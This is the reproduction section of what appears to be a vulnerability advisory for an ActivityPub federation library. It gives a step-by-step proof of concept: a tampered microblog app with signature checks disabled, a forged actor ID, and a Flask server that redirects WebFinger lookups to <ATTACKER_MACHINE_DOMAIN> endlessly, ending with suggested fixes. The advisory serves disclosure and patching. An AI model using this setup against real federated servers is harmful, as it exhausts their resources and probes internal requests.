Details
_Attacker Machine_
- Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
- Install NVM in order to install the latest version of NPM and NODEJS (and source current shell to check it worked):
`
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash
`
`
source ~/.bashrc
`
`
nvm list-remote
`
- Install the latest stable version:
`
nvm install {latest_ver} #for example: v20.10.0
`
`
source ~/.bashrc
`
`
npm -v #check it works
`
`
node -v #check it works
`
- Download the attacker app repository:
`
git clone https://github.com/dahlia/microblog.git
`
- Disable request signature validations:
Edit the _/src/federation.ts_ file and add a _skipSignatureVerification: true_ attribute to the _createFederation_ object.
- Modify the _/src/federation.ts_ file and tamper with the Person object on the actor dispatcher ( _setActorDispatcher("/users/{identifier}"_ ) - change the actor ID attribute _“id: ctx.getActorUri(identifier)_” into “_id: new URL(‘http://<ATTACKER_MACHINE_DOMAIN>:1337/users/enterloop’)_”.
- Install python flask and create the Python Flask redirect server:
`
apt update
`
`
apt install python3-flask
`
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/health')
def health():
return "hello", 200
@app.route('/.well-known/webfinger')
def ssrfinger():
return redirect("http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop")
@app.route('/endlessloop')
def endlessloop():
return redirect("http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop")
if __name__ == '__main__':
app.run(debug=True,host='0.0.0.0' ,port=1337)
- Run the python server and attempt to reach the “_/health_” path to see the server functions as expected.
- Read the _README.txt_ file on the attacker app and follow the instructions on how to execute the app.
- Surf the app on the browser and attempt to follow the federated user on the victim’s machine.
- Send the “follow” request and watch the victim app continue to query the redirect server infinitely (It is possible to repeat this step multiple times causing multiple loops).
Impact
- Implement a limiting stop condition for the endless loop to prevent infinite loops.
- Validate the scheme while performing a manual redirection handler.
- For each web resource (for the _lookupWebFinger_ function and also URLs found on the “_Location_” header inside the loop) use the “_validatePublicUrl_” function to verify that it is not targeting a local resource.